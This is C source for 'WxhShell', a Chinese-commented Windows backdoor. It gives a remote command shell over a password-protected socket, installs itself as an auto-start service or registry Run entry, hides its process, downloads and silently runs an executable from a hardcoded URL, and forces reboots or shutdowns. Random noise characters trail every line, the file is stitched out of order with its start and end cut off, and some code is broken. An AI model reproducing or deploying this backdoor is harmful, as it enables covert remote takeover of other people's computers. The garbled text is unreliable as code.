    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kR,ry:J-  
    else { };Oyv7D+b  
    closesocket(wsh); js..k*j  
    ExitThread(0); E;tEmGf6F  
    } Oe~x,=X)  
    break; y<5RV>"Vg  
    } lPyY  
  // 获取shell p.^qB]%  
  case 's': { 31^Jg  
    CmdShell(wsh); )4MM>Q  
    closesocket(wsh); [Xyu_I-c  
    ExitThread(0); iLC.?v2=  
    break; 4Y5lP00!}  
  } 77b^d9! ~  
  // 退出 b$;qtfJG  
  case 'x': { F(?O7z"d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0Fw4}f.o  
    CloseIt(wsh); }] p9  
    break; YWFq&II|Z  
    } Ls` [7w  
  // 离开 ZQk!Ia7  
  case 'q': { { )-8P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i$5<>\g  
    closesocket(wsh); n "bii7h  
    WSACleanup(); bQ3txuha  
    exit(1); T!7B0_  
    break; `+m:@0&L  
        } :o 8XG  
  } 5MCnGg@  
  } %b[>eIJU#  
nZ'-3  
  // 提示信息 0,/I2!dF?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s(Bcw`'#  
} *\(MG|S  
  } Uv m:`e~?  
8<)ZpB,7  
  return; M>_vsI^I'  
} AP:Q]A6}  
F )Iz:  
// shell模块句柄 [=BccT:b  
int CmdShell(SOCKET sock) J%u,qF}h  
{ _ a#k3r  
STARTUPINFO si; r3B}d*v  
ZeroMemory(&si,sizeof(si)); `/O AgV"`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >qz#&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vw|P;LLl`  
PROCESS_INFORMATION ProcessInfo; RH.qbPjx  
char cmdline[]="cmd"; Bd]k]v+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g<N;31:c\  
  return 0; njc-=o  
} b'W.l1]<-  
)bWopc  
// 自身启动模式 \xlG3nz  
int StartFromService(void) lSg[7lt  
{ yQ)&u+r  
typedef struct vc :%  
{ ^Z-oO#)h#  
  DWORD ExitStatus; :r>^^tGT!  
  DWORD PebBaseAddress; c: r25  
  DWORD AffinityMask; s+?2oPa  
  DWORD BasePriority; Xhq7)/jp  
  ULONG UniqueProcessId; XEnu0 gr  
  ULONG InheritedFromUniqueProcessId; a%A!Dz S  
}   PROCESS_BASIC_INFORMATION; P6&%`$  
|AH>EXhv  
PROCNTQSIP NtQueryInformationProcess; ^v `naA(  
sH.=Faos  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oOLey!uZw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z\$M)e8n  
V2!0),]B  
  HANDLE             hProcess; pI:,Lt1B  
  PROCESS_BASIC_INFORMATION pbi; 64mg:ed&  
B>W8pZu-J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W#%s0EN<_  
  if(NULL == hInst ) return 0; `% QvCAR  
M.K^W`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2E?!Q I\O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5f{P% x(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sO` oapy  
CxTmW5l  
  if (!NtQueryInformationProcess) return 0; b8e\(Dww  
^$5 0[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "(3u)o9  
  if(!hProcess) return 0; (-g*U#   
a%e`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m`9nDiV  
l2LLM{B  
  CloseHandle(hProcess); r=&,2meo  
WFiX=@SS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); puJB&u"4L  
if(hProcess==NULL) return 0; +i!5<nn  
d)e mTXB(  
HMODULE hMod; 00.x*v  
char procName[255]; fO$){(]^  
unsigned long cbNeeded;  #D4  
] \M+ju  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >UMxlvTg&  
"bIb?e2h9G  
  CloseHandle(hProcess); t&xoi7!$  
]bJz-6u#:  
if(strstr(procName,"services")) return 1; // 以服务启动 c 3O/#*  
~PI2G 9  
  return 0; // 注册表启动 gLB(A\yG  
} iCPm7AU  
? Bpnnwx  
// 主模块 `^Vd*  
int StartWxhshell(LPSTR lpCmdLine) 7-``J#9=  
{ -BH/)$-$  
  SOCKET wsl; *3H=t$1G}  
BOOL val=TRUE; BYB4- ,  
  int port=0; Xj 1Oxm 42  
  struct sockaddr_in door; ${MzO i  
 d 2d-Mk  
  if(wscfg.ws_autoins) Install(); Tb$))O}  
>`\.i,X .D  
port=atoi(lpCmdLine); /@F'f@;  
lN#j%0MaUo  
if(port<=0) port=wscfg.ws_port; =P]Z"Ok  
SO=gG 2E  
  WSADATA data; :$$~$P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PjeI&@  
~;3yjO)l?)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^e8xg=8(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LUbj^iQ9  
  door.sin_family = AF_INET; #4JMb#q0E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nzC *mPX8  
  door.sin_port = htons(port); s/tLY/U/  
zr /v.$<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z 2N6r6  
closesocket(wsl); `(FjOd K  
return 1; t1Fqq4wRi  
} 0f6o0@  
)X0=z1$  
  if(listen(wsl,2) == INVALID_SOCKET) { k( :Bl  
closesocket(wsl); a+E 8s7C/D  
return 1; A|\A|8=b  
} wa8jr5/k"  
  Wxhshell(wsl); t`Kpbfk  
  WSACleanup(); o8R_ Ojh  
J"C9z{[Z&  
return 0; -D~K9u]U_  
^2~ZOP$A  
} 8"j$=T6;W  
gADf9x"b  
// 以NT服务方式启动 :}e<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NftnbsTmy  
{ SaXt"Ju,AH  
DWORD   status = 0; G'\[dwD,u  
  DWORD   specificError = 0xfffffff; C}h(WOcr`X  
I{89chi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }|Qh+{H*.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M{J>yN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3gUY13C}:p  
  serviceStatus.dwWin32ExitCode     = 0; z\m$>C|  
  serviceStatus.dwServiceSpecificExitCode = 0; JKZVd`fF  
  serviceStatus.dwCheckPoint       = 0; C ~h#pAh  
  serviceStatus.dwWaitHint       = 0; 6CyByj&  
JTKS5 r7?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uOv<*Jld*  
  if (hServiceStatusHandle==0) return; %unn{92)  
*:CTIV5N0  
status = GetLastError(); Z?+ )ox  
  if (status!=NO_ERROR) RnkV)ed(  
{ ".>#Qp%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hoFgs9  
    serviceStatus.dwCheckPoint       = 0; CH4Nz'X2  
    serviceStatus.dwWaitHint       = 0; xRWfZ3E#  
    serviceStatus.dwWin32ExitCode     = status; jr`T6!\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?Z{/0X)]|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c,r6+oX  
    return; 2U[/"JL  
  } q]="ek&_  
E <yQB39  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0kUhz\"R:q  
  serviceStatus.dwCheckPoint       = 0; "q?(rx;  
  serviceStatus.dwWaitHint       = 0; z -?\b^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /RB%m8@;  
} gveGBi  
16Qu{K  
// 处理NT服务事件,比如:启动、停止 %72# tY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NN7KwVg  
{ Kh3i.gm7g  
switch(fdwControl) &3iI\s[  
{ @{IX do  
case SERVICE_CONTROL_STOP: Zg_b(ks  
  serviceStatus.dwWin32ExitCode = 0; oT}$N_gFT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1jx?zvE,  
  serviceStatus.dwCheckPoint   = 0; F7}yt  
  serviceStatus.dwWaitHint     = 0; D!* SA  
  { 46f- po_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <\~@l^lU  
  } Z%?>H iy'o  
  return; !"hlG^*9  
case SERVICE_CONTROL_PAUSE: "I=Lbh-`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r`ftflNh(  
  break; Nn_b  
case SERVICE_CONTROL_CONTINUE: /*g0M2+OZo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :LuA6  
  break; @w33u^  
case SERVICE_CONTROL_INTERROGATE: t,Tq3zB  
  break; c*owP  
}; \)*\$I\]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Lq8#{/]u  
} =n.&N   
h/5V~ :)  
// 标准应用程序主函数 iu=@ h>C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ !~8TF  
{ ~&,S xQT  
.5HD i-  
// 获取操作系统版本 1&h\\&ic  
OsIsNt=GetOsVer(); QfjoHeG7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cm!vuoB~~  
rhF2U  
  // 从命令行安装 P=_W{6  
  if(strpbrk(lpCmdLine,"iI")) Install(); UJS vtD{g  
r{~b4~kAf5  
  // 下载执行文件 f3;[ZS  
if(wscfg.ws_downexe) { U7LCd+Z 5X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W^W.* ?e`  
  WinExec(wscfg.ws_filenam,SW_HIDE); BD$Lf,_  
} 5-4  
4{,!'NA  
if(!OsIsNt) { ;Zf7|i`R3  
// 如果时win9x,隐藏进程并且设置为注册表启动 9QD+  
HideProc(); uEsF 8  
StartWxhshell(lpCmdLine);  zW?=^bE  
} ,A#gF_8  
else )REegFN@  
  if(StartFromService()) iqF|IVPoi  
  // 以服务方式启动 }V/iU_)  
  StartServiceCtrlDispatcher(DispatchTable); nr>Yj?la  
else x[&)\[t  
  // 普通方式启动 aEEb1Y  
  StartWxhshell(lpCmdLine); "6~+ -_:  
F.Bij8\  
return 0; RP^L.X(7^  
} ?J|  
^c}kVQ\g3  
PE_JO(e;Xm  
FrRUAoF O  
=========================================== D3O)Tj@:}(  
RdjoVCf  
!(S.7#-r  
juWbd|ad"  
tH vP0RxM  
),,0T/69+9  
" ~1Ffu x  
sVlQ5M oo(  
#include <stdio.h> 4y)6!p  
#include <string.h> ;iN [du  
#include <windows.h> &`'@}o>2  
#include <winsock2.h> -LFk7a  
#include <winsvc.h> P#:nXc$  
#include <urlmon.h> nWd;XR6|  
X=jD^"-  
#pragma comment (lib, "Ws2_32.lib") HbCcROl(  
#pragma comment (lib, "urlmon.lib") M"Y ,kA|+  
 ;t/KF"  
#define MAX_USER   100 // 最大客户端连接数 V_4=0(  
#define BUF_SOCK   200 // sock buffer r0<zy_d'  
#define KEY_BUFF   255 // 输入 buffer i_y%HG  
$m-@ICG#  
#define REBOOT     0   // 重启 MbQ%'z6D  
#define SHUTDOWN   1   // 关机 =+VDb5= TV  
}+:X=@Z@  
#define DEF_PORT   5000 // 监听端口 8qUNh#  
#8WHIDS>  
#define REG_LEN     16   // 注册表键长度 GG4FS  
#define SVC_LEN     80   // NT服务名长度 B;<zA' 1  
KO))2GET  
// 从dll定义API \h}sA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k]c$SzJ>/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sq`Zuu9t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K7,Sr1O `  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "JgwL_2  
c&g*nDuDj  
// wxhshell配置信息 C)cuy7<  
struct WSCFG { cf\GC2+"^$  
  int ws_port;         // 监听端口 $%1oZ{&M  
  char ws_passstr[REG_LEN]; // 口令 K;R!>p}t  
  int ws_autoins;       // 安装标记, 1=yes 0=no S;u 2B_/  
  char ws_regname[REG_LEN]; // 注册表键名 &<(&u`S  
  char ws_svcname[REG_LEN]; // 服务名 aC3Qmo6?m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8wCB}qC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Qk)EY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ibv`/8xh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WXa<(\S\V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0J .]`kR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  cj|Urt  
@ n$/2y_.  
}; 4SIS #m  
}gQnr;lv  
// default Wxhshell configuration -{p~sRc&  
struct WSCFG wscfg={DEF_PORT, g9F?j  
    "xuhuanlingzhe", Dd:48sN:Jq  
    1, MwD8a<2Dg  
    "Wxhshell", nYTPcT4x|  
    "Wxhshell", ,UxAHCR~9  
            "WxhShell Service", ?V =#x.9  
    "Wrsky Windows CmdShell Service", N1JM[<PP  
    "Please Input Your Password: ", N3\vd_D(  
  1, r rs0|=  
  "http://www.wrsky.com/wxhshell.exe", dSE"G>l8  
  "Wxhshell.exe" fy>~ GFk(  
    }; !)EYM&:Y  
4@9xq<<5  
// 消息定义模块 3#{Al[jq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "BC;zH:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rotu#?B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N@I=X-7nh|  
char *msg_ws_ext="\n\rExit."; +DYsBCVbag  
char *msg_ws_end="\n\rQuit."; ~Vf A  
char *msg_ws_boot="\n\rReboot...";  qy/t<2'  
char *msg_ws_poff="\n\rShutdown..."; dlioaYc  
char *msg_ws_down="\n\rSave to "; ,HK-mAH   
[`!%u3  
char *msg_ws_err="\n\rErr!"; |}o3EX  
char *msg_ws_ok="\n\rOK!"; AK&=/[U>  
5wC,:c[H7  
char ExeFile[MAX_PATH]; #1p\\Av  
int nUser = 0; :c9 H2  
HANDLE handles[MAX_USER]; 4i+H(d n  
int OsIsNt; [G"Va_A8  
[6\b(kS+  
SERVICE_STATUS       serviceStatus; /1b7f'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $-paYQ4  
G|z%T`!U1;  
// 函数声明 Yb%#\.M/y  
int Install(void); ~P'i /*:  
int Uninstall(void); f%rZ2h)  
int DownloadFile(char *sURL, SOCKET wsh); c-ql  
int Boot(int flag); v4, Dt  
void HideProc(void); HmbQL2  
int GetOsVer(void); dQy K4T  
int Wxhshell(SOCKET wsl); EKEJ9Y+47H  
void TalkWithClient(void *cs); yV*4|EkvW  
int CmdShell(SOCKET sock); gzN51B=D  
int StartFromService(void); k&17 (Tv$  
int StartWxhshell(LPSTR lpCmdLine); dd *p_4;  
LHSbc!Y'.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hz>Dp !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4B)%I`  
1o?uf,H7O  
// 数据结构和表定义 k`J|]99Wb  
SERVICE_TABLE_ENTRY DispatchTable[] = P=Su)c  
{ \J(kM,ZJ  
{wscfg.ws_svcname, NTServiceMain}, S1U[{R?,  
{NULL, NULL} mp z3o\n  
}; ~yJJ00%  
IRTD(7"oyp  
// 自我安装 e9>~mtx  
int Install(void) .aR9ulS  
{ tTWEhHQ`  
  char svExeFile[MAX_PATH]; B:Hr{%O  
  HKEY key;  45WJb+$  
  strcpy(svExeFile,ExeFile); ],Yy)<e.  
LL==2KNUo  
// 如果是win9x系统,修改注册表设为自启动 ABcB-V4  
if(!OsIsNt) { dg_w$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w"C,oo3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F6aC'<#/  
  RegCloseKey(key); 4iss j$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rR 86D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hw(\3h()  
  RegCloseKey(key); mi[8O$^iJ  
  return 0; Fu 5c_"!  
    } mhB2l/  
  } h J0U-m  
} (>NZYPw^3  
else { r-.>3J  
6&il>  
// 如果是NT以上系统,安装为系统服务  {8h[Bd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7Gy:T47T\@  
if (schSCManager!=0) ~S\> F\v6'  
{ u1=K#5^  
  SC_HANDLE schService = CreateService X0REC%  
  ( MdmN7>  
  schSCManager, vrcIwCa  
  wscfg.ws_svcname, SMzq,?-`  
  wscfg.ws_svcdisp, V@[C=K  
  SERVICE_ALL_ACCESS, *ifz@8C }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e~d=e3mBp  
  SERVICE_AUTO_START, is~2{:  
  SERVICE_ERROR_NORMAL, ncMzHw  
  svExeFile, A+3SLB  
  NULL, *l=(?Pe<  
  NULL, EC 1|$Co  
  NULL, )Yv=:+f  
  NULL, ^3 9lUKL  
  NULL T6QRr}8`/J  
  ); Ka_;~LS>(  
  if (schService!=0) imeE&  
  { }}i'8  
  CloseServiceHandle(schService); m uy^>2p  
  CloseServiceHandle(schSCManager); P%gA` j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @Z2np{X:  
  strcat(svExeFile,wscfg.ws_svcname); ~$J(it-a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X%3?sH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8'%m!  
  RegCloseKey(key); +`_0tM1  
  return 0; ][ IOlR  
    } y.c6r> }  
  } P^Owgr=Y  
  CloseServiceHandle(schSCManager); 9)NKI02M|  
} L!lmy&1  
} =$fz</S=J  
.7  0  
return 1; ;RRw-|/Wm  
} ir/uHN@  
{(!JYz~P  
// 自我卸载 vg1J N"S[  
int Uninstall(void) brs`R#e \  
{ WFh.oe8  
  HKEY key; ?5J#  
YrB-n  
if(!OsIsNt) { | @$I<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :C(/yg  
  RegDeleteValue(key,wscfg.ws_regname); bXOKC  
  RegCloseKey(key); ^n(FO,8c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }b&lHr'Uw  
  RegDeleteValue(key,wscfg.ws_regname); {MSE}|A\V  
  RegCloseKey(key); M{{kO@P"9  
  return 0; !@F {FR  
  } ?'z/S5&j  
} T7.Iqw3p  
} H8FvI"J  
else { 2&>t,;v@  
/HpM17   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2cH RiRT  
if (schSCManager!=0) G<n75!  
{ rZJJ\ , |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  3Iv^  
  if (schService!=0)  E|"SM A,  
  { }7[]d7  
  if(DeleteService(schService)!=0) { 8O9^g4?  
  CloseServiceHandle(schService); 3NLn}  
  CloseServiceHandle(schSCManager); c 'wRGMP  
  return 0; Sv{n?BYq  
  } zR?R,k)m  
  CloseServiceHandle(schService); 95z|}16UK  
  } Ee2P]4_d  
  CloseServiceHandle(schSCManager); JM,%| E  
} LSou]{R  
} kt2_WW[  
FL^ _)`  
return 1; gZ$ 8Y7  
} qqf`z,u  
W_ `]7RO8  
// 从指定url下载文件 < -`.u`  
int DownloadFile(char *sURL, SOCKET wsh) CF{b Yf^%  
{ IDH~nMz  
  HRESULT hr; DOKe.k  
char seps[]= "/"; M/=36{,w-  
char *token; I"88O4\@  
char *file; p|t" 4HQ  
char myURL[MAX_PATH]; |VWT4*K  
char myFILE[MAX_PATH]; C!*!n^qA  
YQ G<Q  
strcpy(myURL,sURL); Y0a[Lb0  
  token=strtok(myURL,seps); ~4{q  
  while(token!=NULL) pD%(Y^h?  
  { [! $N Tt_  
    file=token; CvY+b^;  
  token=strtok(NULL,seps); *=!e,  
  } ls^Z"9P  
1RYrUg"s"  
GetCurrentDirectory(MAX_PATH,myFILE); \N*([{X  
strcat(myFILE, "\\"); ,*XB11P  
strcat(myFILE, file); 6e+'Y"v  
  send(wsh,myFILE,strlen(myFILE),0); ~V8z%s@  
send(wsh,"...",3,0); 1y'Y+1.<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @=Q!a (g  
  if(hr==S_OK) smf"F\W s  
return 0; 5CFNBb%Xy  
else f ,cd=vGj  
return 1; M,]|L ch  
^z{szy?Fg  
} - eG~  
,0W^"f.g{m  
// 系统电源模块 \;X7DK2  
int Boot(int flag) EnM  
{ 4b2d(x)0X  
  HANDLE hToken; eO!9;dJ  
  TOKEN_PRIVILEGES tkp; UY< PiP  
3PNdc}h&#  
  if(OsIsNt) { )!"fUz$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t%lat./yT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e2O6q05 ?Q  
    tkp.PrivilegeCount = 1; I%3[aBz4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xqG<R5k>>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D<SC `  
if(flag==REBOOT) { 8>v_th  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h@Q^&%w  
  return 0; ~#pATPW@(  
} j7~FR{: j  
else { 1r;zA<<%R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5'} V`?S  
  return 0; ;77K&#1  
} >pv.,cj  
  } [8iY0m_Qe  
  else { -'&/7e6>y  
if(flag==REBOOT) { sey,J5?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CvoFt=c$jE  
  return 0; = s&Rk~2b/  
} IO\4dU)  
else { 4ijtx)SA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C-&ymJC|  
  return 0; ax&?Z5%a  
} |b   
} ETp?RWXX  
C~ 1]  
return 1; ^D+J k8  
} [4z,hob  
23}` e  
// win9x进程隐藏模块 U2 *ORd  
void HideProc(void) k#].nQG  
{ $YSXE :  
"_{NdV|a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n:5M E*  
  if ( hKernel != NULL ) ?KC(WaGJQ  
  { :viW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -o ).<&#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Rk}ovtD[  
    FreeLibrary(hKernel); Yuv i{ 0  
  } 7~7L5PRW  
'75T2Ud  
return; ./YR8#,  
} 9d5$cV  
[YDSS/  
// 获取操作系统版本 5hrI#fpOR  
int GetOsVer(void) I?e5h@uE  
{ }3(!kW  
  OSVERSIONINFO winfo; + jLy>=u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $dL..QH^K  
  GetVersionEx(&winfo); :{7+[LcH7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .biq)L e  
  return 1; iGyetFqKw  
  else mWp>E`l  
  return 0; qN!oN*  
} a|ufm^ F  
^6s im2  
// 客户端句柄模块 Ew8@{X y  
int Wxhshell(SOCKET wsl) ^? fOccfQ{  
{ nS+Rbhs  
  SOCKET wsh; EZUaYp ~M  
  struct sockaddr_in client; 9[0iIT$q$  
  DWORD myID; -&Rv=q>  
Blpk n1  
  while(nUser<MAX_USER) 2dn^K3  
{ _#8hgwf>  
  int nSize=sizeof(client); @^,q/%;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F y+NJSG  
  if(wsh==INVALID_SOCKET) return 1; ) c@gRb~  
)jM%bUk,!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #ArrQeO 5_  
if(handles[nUser]==0) QS#@xhH  
  closesocket(wsh); ho\1[xS  
else Bkcwl  
  nUser++; iN;Pg _Kq  
  } 8g#$Y2P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PgBEe @.  
p Cz6[*kC  
  return 0; ^FVdA1~/  
} e" v%m 'G  
3[m~-8  
// 关闭 socket $WA wMS,  
void CloseIt(SOCKET wsh) u64#,mC[*  
{ ",#.?vT`  
closesocket(wsh); Al$z.i?R  
nUser--; i<QDV W9  
ExitThread(0); RXgb/VR  
} ]S2rqKB  
Y{Z&W9U  
// 客户端请求句柄 (.J/Ql0Y  
void TalkWithClient(void *cs) k8gH#ENNK  
{ vq$6e*A  
]N>ZOV,>  
  SOCKET wsh=(SOCKET)cs; u0C:q`;z  
  char pwd[SVC_LEN]; qt8Y3:=8l  
  char cmd[KEY_BUFF]; >AJ/!{jD*  
char chr[1]; -gn0@hS0  
int i,j; V?mP7  
4I4m4^  
  while (nUser < MAX_USER) { 1XGg0SC  
.:S/x{~  
if(wscfg.ws_passstr) { !0{SVsc)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x9lA';})  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pc`P;Eui  
  //ZeroMemory(pwd,KEY_BUFF); f:;-ZkIU ?  
      i=0; dX[I :,z*  
  while(i<SVC_LEN) { w2LnY1A  
&V38)83a  
  // 设置超时 kWzp*<lWe  
  fd_set FdRead; z'L0YqXG/  
  struct timeval TimeOut; *|rdR2R!  
  FD_ZERO(&FdRead); *>m[ZJd%=  
  FD_SET(wsh,&FdRead); .f~9IAXP`  
  TimeOut.tv_sec=8; [ &TF]az  
  TimeOut.tv_usec=0; EC?5GNGT,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8JLf @C:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xm m,- u  
S_lGr k\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OUv)`K  
  pwd=chr[0]; yR$_ZXsd  
  if(chr[0]==0xd || chr[0]==0xa) { ]\yIHdcDi  
  pwd=0; !HTOE@  
  break; prJd'  
  } i?T-6{3I  
  i++; H,> }t S  
    } ieyK$q  
lm`*x=x  
  // 如果是非法用户,关闭 socket Ez1eGPVr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -}7$;QK&a  
} l*ltS(?  
f&-`+V}U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %" iX3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d1~#@6CIz  
K V5 '-Sv1  
while(1) {  AG(6.  
Vgm*5a6t  
  ZeroMemory(cmd,KEY_BUFF); ^G4YvS(  
WwmYJl0  
      // 自动支持客户端 telnet标准   fJFNS y  
  j=0; 0cm34\*  
  while(j<KEY_BUFF) { * + T(i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VEps|d3,,  
  cmd[j]=chr[0]; :zL)O  
  if(chr[0]==0xa || chr[0]==0xd) { [ycX)iM  
  cmd[j]=0; yZlT#^$\  
  break; s&7 3g0$$  
  } 6Zi{gx  
  j++; b0~r/M;J  
    } 1l-5H7^w2?  
qd a 2  
  // 下载文件 >a8iY|QY  
  if(strstr(cmd,"http://")) { F5?S8=i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 93*csO?Db  
  if(DownloadFile(cmd,wsh)) w=GMQ8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lY,^  
  else "7cty\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /A9RmTb  
  } P<pv@ l9)  
  else { 'rhgM/I  
x80IS:TP  
    switch(cmd[0]) { |))NjM'ZBl  
  tF;0P\i  
  // 帮助 PVb[E03  
  case '?': { W9SU1{*9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /+*"*Br/  
    break; eiK_JPFA-  
